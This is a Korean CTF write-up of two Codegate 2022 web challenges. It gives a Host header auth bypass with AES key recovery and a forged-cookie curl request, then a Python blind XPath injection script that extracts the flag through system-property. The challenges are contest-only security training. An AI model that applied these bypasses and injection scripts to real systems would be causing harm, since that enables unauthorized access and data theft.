2022 Codegate CTF Writeup
2022년 2월 26일 오후 7시 ~ 27일 오후 7시까지 24시간동안 국제해킹방어대회라고 불리는 Codegate CTF 대학부에 참여하였다. 2019, 2020년에도 참여해 본선권을 얻었지만 이번에는 주니어부가 아니라 대학부로 참여해서 조금 느낌이 달랐다. (코로나 때문에 2년만에 하네 ㅠ)
대회 문제들 다시 풀어보면서 정리해보려고 한다. 팀에 웹만 주력으로하는 사람이 없어서 본선까지 웹 공부 열심히 해야겠다..!
우리팀은 대학부(숭실대학교) 2등으로 본선에 진출하였다. (해군 해난구조전대 = SSU = 숭실대다..)
Web
CAFE
superbee
golang Web Framework인 beego로 만들어진 사이트다.
app.conf를 확인해보면 auth_key, password, flag는 블라인드 처리되어 제공된다.
app_name = superbee
auth_key = [----------REDEACTED------------]
id = admin
password = [----------REDEACTED------------]
flag = [----------REDEACTED------------]
main함수를 살펴보면 auth_crypt_key는 정의되지 않은 값이라 가져올 수 없어서 null이라는 값이 들어가게 된다.
1func main() {
2 app_name, _ = web.AppConfig.String("app_name")
3 auth_key, _ = web.AppConfig.String("auth_key")
4 auth_crypt_key, _ = web.AppConfig.String("auth_crypt_key")
5 admin_id, _ = web.AppConfig.String("id")
6 admin_pw, _ = web.AppConfig.String("password")
7 flag, _ = web.AppConfig.String("flag")
8
9 web.AutoRouter(&MainController{})
10 web.AutoRouter(&LoginController{})
11 web.AutoRouter(&AdminController{})
12 web.Run()
13}
LoginController를 살펴보면 Cookie값을 Md5(“sess”) = Md5(admin_id + auth_key) 맞춰버리고 /main/index로 가면 {{.flag}} 를 출력 시킬 수 있다.
1func (this *LoginController) Auth() {
2 id := this.GetString("id")
3 password := this.GetString("password")
4
5 if id == admin_id && password == admin_pw {
6 this.Ctx.SetCookie(Md5("sess"), Md5(admin_id + auth_key), 300)
7
8 this.Ctx.WriteString("<script>alert('Login Success');location.href='/main/index';</script>")
9 return
10 }
11 this.Ctx.WriteString("<script>alert('Login Fail');location.href='/login/login';</script>")
12}
auth_key를 구해야하는데 AdminController의 AuthKey()를 살펴보면 AES Encrypt의 key에 null값을 가지고 있는 auth_crypt_key가 들어가게 되고 auth_key값이 origData로 처리 되는 것을 알 수 있다.
1func (this *AdminController) AuthKey() {
2 encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
3 this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
4}
[IP]/admin/authkey에 접근하려면 if domain != “localhost” 조건을 우회해야하는데 Host에 localhost로 Request를 보냄으로써 우회해 Encrypt된 값을 구할 수 있다.
00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607
내 서버에 테스트해서 Encrypted값이 조금 다르다.. ㅎ
1func (this *BaseController) Prepare() {
2 controllerName, _ := this.GetControllerAndAction()
3 session := this.Ctx.GetCookie(Md5("sess"))
4
5 if controllerName == "MainController" {
6 if session == "" || session != Md5(admin_id + auth_key) {
7 this.Redirect("/login/login", 403)
8 return
9 }
10 } else if controllerName == "LoginController" {
11 if session != "" {
12 this.Ctx.SetCookie(Md5("sess"), "")
13 }
14 } else if controllerName == "AdminController" {
15 domain := this.Ctx.Input.Domain()
16
17 if domain != "localhost" {
18 this.Abort("Not Local")
19 return
20 }
21 }
22}
암호화 방식으로는 AES CBC모드를 사용하고, key랑 IV 값은 NULL이라서 Padding된 값이 들어가는데 분석해보면 \x10이라는 값으로 채워지는걸 확인할 수 있다. 즉 key, iv = b’\x10’*0x10으로 Padding이 된다.
1func AesEncrypt(origData, key []byte) ([]byte, error) {
2 padded_key := Padding(key, 16)
3 fmt.Println(padded_key)
4 block, err := aes.NewCipher(padded_key)
5 if err != nil {
6 return nil, err
7 }
8 blockSize := block.BlockSize()
9 origData = Padding(origData, blockSize)
10 blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
11 crypted := make([]byte, len(origData))
12 blockMode.CryptBlocks(crypted, origData)
13 return crypted, nil
14}
15
16func Padding(ciphertext []byte, blockSize int) []byte {
17 padding := blockSize - len(ciphertext)%blockSize
18 padtext := bytes.Repeat([]byte{byte(padding)}, padding)
19 return append(ciphertext, padtext...)
20}
이제 Key, IV, encrypted_auth_key를 알고 있으니 Decrypt하면 authkey 값인 Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d
이것을 얻을 수 있다.
1from Crypto.Cipher import AES
2
3BLOCK_SIZE = 16
4
5key = bytes([0x10] * BLOCK_SIZE)
6cipher = bytes.fromhex("00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607")
7iv = key[:BLOCK_SIZE]
8
9aes = AES.new(key, AES.MODE_CBC, IV=iv)
10enc = aes.decrypt(cipher)
11print(enc.strip())
이제 /main/index에 쿠키값 맞춰서 요청을 보내면 FLAG를 획득할 수 있다.
$ curl http://3.39.49.174:30001/main/index -v -X GET --cookie "f5b338d6bca36d47ee04d93d08c57861=e52f118374179d24fa20ebcceb95c2af"
Note: Unnecessary use of -X or --request, GET is already inferred.
* Trying 3.39.49.174:30001...
* TCP_NODELAY set
* Connected to 3.39.49.174 (3.39.49.174) port 30001 (#0)
> GET /main/index HTTP/1.1
> Host: 3.39.49.174:30001
> User-Agent: curl/7.68.0
> Accept: */*
> Cookie: f5b338d6bca36d47ee04d93d08c57861=e52f118374179d24fa20ebcceb95c2af
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 170
< Content-Type: text/html; charset=utf-8
< Date: Sat, 26 Feb 2022 12:46:49 GMT
<
<html>
<head>
<title>superbee</title>
</head>
<body>
<h3>Index</h3>
codegate2022{d9adbe86f4ecc93944e77183e1dc6342}
</body>
* Connection #0 to host 3.39.49.174 left intact
</html>%
FLAG : codegate2022{d9adbe86f4ecc93944e77183e1dc6342}
babyFirst
myblog
이 문제는 대회 시간내에 풀지 못했던 문제다 ㅠ 취약점은 아는데 어떻게 환경변수 접근할지 몰라서 아쉬웠다..
Dockerfile을 보면 /usr/local/tomcat/conf/catalina.properties
에 FLAG가 있음을 확인할 수 있다.
1FROM ubuntu:20.04
2
3RUN apt-get -y update && apt-get -y install software-properties-common
4
5RUN apt-get install -y openjdk-11-jdk
6
7RUN apt-get -y install wget
8RUN mkdir /usr/local/tomcat
9RUN wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.75/bin/apache-tomcat-8.5.75.tar.gz -O /tmp/tomcat.tar.gz
10RUN cd /tmp && tar xvfz tomcat.tar.gz
11RUN cp -Rv /tmp/apache-tomcat-8.5.75/* /usr/local/tomcat/
12RUN rm -rf /tmp/* && rm -rf /usr/local/tomcat/webapps/
13
14COPY src/ROOT/ /usr/local/tomcat/webapps/ROOT/
15
16COPY start.sh /start.sh
17RUN chmod +x /start.sh
18
19RUN echo 'flag=codegate2022{md5(flag)}' >> /usr/local/tomcat/conf/catalina.properties
20
21CMD ["/start.sh"]
코드 양이 300줄밖에 안되는데 그 중 중요한 부분만 긁어왔다. 이 부분만 오디팅 열심히 했다.
1private boolean doRegister(HttpServletRequest req) {
2 initUserDB();
3 File userDB = new File(this.tmpDir, "users.xml");
4 String id = req.getParameter("id");
5 String pw = req.getParameter("pw");
6 if (id == null || pw == null || !idCheck(id)) {
7 return false;
8 }
9 try {
10 Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new FileInputStream(userDB)));
11 document.setXmlStandalone(true);
12 NodeList usersNodeList = document.getElementsByTagName("users");
13 Element userElement = document.createElement("user");
14 userElement.setTextContent(id + "/" + encMD5(pw));
15 usersNodeList.item(0).appendChild(userElement);
16 Transformer transformer = TransformerFactory.newInstance().newTransformer();
17 transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "4");
18 transformer.setOutputProperty("encoding", "UTF-8");
19 transformer.setOutputProperty("indent", "yes");
20 transformer.transform(new DOMSource(document), new StreamResult(new FileOutputStream(userDB)));
21 return true;
22 } catch (Exception e) {
23 System.out.println(e.getMessage());
24 return false;
25 }
26}
27
28private boolean doLogin(HttpServletRequest req) {
29 initUserDB();
30 String id = req.getParameter("id");
31 String pw = req.getParameter("pw");
32 if (id == null || pw == null) {
33 return false;
34 }
35 String id2 = id.trim();
36 String pw2 = encMD5(pw.trim());
37 Boolean flag = Boolean.valueOf(false);
38 try {
39 NodeList userList = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new FileInputStream(new File(this.tmpDir, "users.xml")))).getElementsByTagName("user");
40 int length = userList.getLength();
41 int i = 0;
42 while (true) {
43 if (i >= length) {
44 break;
45 } else if (userList.item(i).getTextContent().trim().equals(id2 + "/" + pw2)) {
46 flag = Boolean.valueOf(true);
47 req.getSession().setAttribute("id", id2);
48 initUserArticle(req);
49 break;
50 } else {
51 i++;
52 }
53 }
54 return flag.booleanValue();
55 } catch (Exception e) {
56 System.out.println(e.getMessage());
57 return false;
58 }
59}
60
61private boolean doWriteArticle(HttpServletRequest req) {
62 initUserArticle(req);
63 String id = (String) req.getSession().getAttribute("id");
64 String title = req.getParameter("title");
65 String content = req.getParameter("content");
66 if (id == null || title == null || content == null) {
67 return false;
68 }
69 String title2 = encBase64(title);
70 String content2 = encBase64(content);
71 File userArticle = new File(this.tmpDir + "/article/", id + ".xml");
72 try {
73 FileInputStream fileInputStream = new FileInputStream(userArticle);
74 Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(fileInputStream));
75 document.setXmlStandalone(true);
76 NodeList articleNodeList = document.getElementsByTagName("articles");
77 int length = document.getElementsByTagName("article").getLength();
78 Element articleElement = document.createElement("article");
79 articleElement.setAttribute("idx", Integer.toString(length + 1));
80 Element titleElement = document.createElement("title");
81 titleElement.setTextContent(title2);
82 Element contentElement = document.createElement("content");
83 contentElement.setTextContent(content2);
84 articleElement.appendChild(titleElement);
85 articleElement.appendChild(contentElement);
86 articleNodeList.item(0).appendChild(articleElement);
87 Transformer transformer = TransformerFactory.newInstance().newTransformer();
88 transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "4");
89 transformer.setOutputProperty("encoding", "UTF-8");
90 transformer.setOutputProperty("indent", "yes");
91 DOMSource source = new DOMSource(document);
92 FileOutputStream fileOutputStream = new FileOutputStream(userArticle);
93 transformer.transform(source, new StreamResult(fileOutputStream));
94 return true;
95 } catch (Exception e) {
96 System.out.println(e.getMessage());
97 return false;
98 }
99}
100
101private String[] doReadArticle(HttpServletRequest req) {
102 String id = (String) req.getSession().getAttribute("id");
103 String idx = req.getParameter("idx");
104 if ("null".equals(id) || idx == null) {
105 return null;
106 }
107 try {
108 Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new FileInputStream(new File(this.tmpDir + "/article/", id + ".xml"))));
109 XPath xpath = XPathFactory.newInstance().newXPath();
110 String content = (String) xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING);
111 return new String[]{decBase64(((String) xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING)).trim()), decBase64(content.trim())};
112 } catch (Exception e) {
113 System.out.println(e.getMessage());
114 return null;
115 }
116}
117
118private void initUserArticle(HttpServletRequest req) {
119 String id = (String) req.getSession().getAttribute("id");
120 if (!"null".equals(id)) {
121 try {
122 File articleDir = new File(this.tmpDir, "article");
123 if (!articleDir.exists()) {
124 articleDir.mkdir();
125 }
126 File userArticle = new File(articleDir, id + ".xml");
127 if (!userArticle.exists()) {
128 Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument();
129 doc.setXmlStandalone(true);
130 doc.appendChild(doc.createElement("articles"));
131 Transformer transformer = TransformerFactory.newInstance().newTransformer();
132 transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "4");
133 transformer.setOutputProperty("encoding", "UTF-8");
134 transformer.setOutputProperty("indent", "yes");
135 transformer.transform(new DOMSource(doc), new StreamResult(new FileOutputStream(userArticle)));
136 }
137 } catch (Exception e) {
138 System.out.println(e.getMessage());
139 }
140 }
141}
142
143private void initUserDB() {
144 File userDB = new File(this.tmpDir, "users.xml");
145 try {
146 if (!userDB.exists()) {
147 Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument();
148 doc.setXmlStandalone(true);
149 doc.appendChild(doc.createElement("users"));
150 Transformer transformer = TransformerFactory.newInstance().newTransformer();
151 transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "4");
152 transformer.setOutputProperty("encoding", "UTF-8");
153 transformer.setOutputProperty("indent", "yes");
154 transformer.transform(new DOMSource(doc), new StreamResult(new FileOutputStream(userDB)));
155 }
156 } catch (Exception e) {
157 System.out.println(e.getMessage());
158 }
159}
코드를 오디팅하면 회원가입을 하면 doRegister함수에서 /db/users.xml에 있는 user Element에 사용자 이름/md5(비밀번호)
이렇게 저장된다.
1<?xml version="1.0" encoding="UTF-8"?>
2<users>
3 <user>a/0cc175b9c0f1b6a831c399e269772661</user>
4 <user>b/92eb5ffee6ae2fec3ad71c777531578f</user>
5</users>
그리고 /db/article/[사용자 이름].xml
형식으로 사용자가 쓴 글들이 저장된다. doWriteArticle
함수를 보면 Title과 Content가 base64 Encoding돼서 저장되는 것을 알 수 있다.
1<?xml version="1.0" encoding="UTF-8"?>
2<articles>
3 <article idx="1">
4 <title>YQ==</title>
5 <content>Ijw/eG1sIHZlcnNpb249XCIxLjBcIj8+PCFET0NUWVBFIG5hbWUgWzwhRU5USVRZIHRlc3QgU1lTVEVNICduZXRkb2M6Ly8vcGFzc3dkJz5dPjxuYW1lPiZ0ZXN0OzwvbmFtZT4i</content>
6 </article>
7 <article idx="2">
8 <content>Yg==</content>
9 </article>
10</articles>
취약점은 doReadArticle에서 발생한다. XPath Injection이 발생한다는건 알았으나 환경변수에 어떻게 접근할지 몰라서 조금 헤맸다.
우선 doReadArticle 함수를 보면 idx를 입력받는데 검사가 미흡하다. 또한 xpath evaluate에 직접적으로 Injection할 수 있다.
1 private String[] doReadArticle(HttpServletRequest req) {
2 String id = (String) req.getSession().getAttribute("id");
3 String idx = req.getParameter("idx");
4 if ("null".equals(id) || idx == null) {
5 return null;
6 }
7 try {
8 Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new FileInputStream(new File(this.tmpDir + "/article/", id + ".xml"))));
9 XPath xpath = XPathFactory.newInstance().newXPath();
10 String content = (String) xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING);
11 return new String[]{decBase64(((String) xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING)).trim()), decBase64(content.trim())};
12 } catch (Exception e) {
13 System.out.println(e.getMessage());
14 return null;
15 }
16 }
우리가 궁극적으로 얻어야하는 것은 FLAG이기 때문에 FLAG는 tomcat의 catalina.properties
파일에 존재한다. 나는 system-property 라는 것을 처음 알게됐다.. 그래서 이걸 이용해서 환경변수에 있는 FLAG 속성을 읽어오면 된다..! 이제 스크립트를 짜고 한글자씩 뽑아오면 된다.
1import requests
2import string
3
4# url = "http://sung.pw:13326/blog/write/"
5headers = {
6 "Host": "sung.pw:13326",
7 "Cache-control": "no-cache",
8 "Content-Type": "application/x-www-form-urlencoded",
9 "User-Agent": "prm",
10 "Accept": "*/*",
11}
12
13cookies = {
14 "JSESSIONID":"BB4058D49E910DCD80756DE06A8B71A0",
15}
16
17data = {
18 "title": "asdf",
19 "content": "asdf"
20}
21
22url = "http://sung.pw:13326/blog/read?idx=2%27%20and%20starts-with%28system-property%28%27flag%27%29%2C%27{c}%27%29%20or%20%27" # or using substring
23
24flag = ''
25while True:
26 print(flag)
27 for char in string.printable:
28 r = requests.get(url.format(c=flag+char), headers=headers, cookies=cookies)
29 if 'realsung' in r.text:
30 flag += char
31 break
FLAG : codegate2022{bcbbc8d6c8f7ea1924ee108f38cc000f}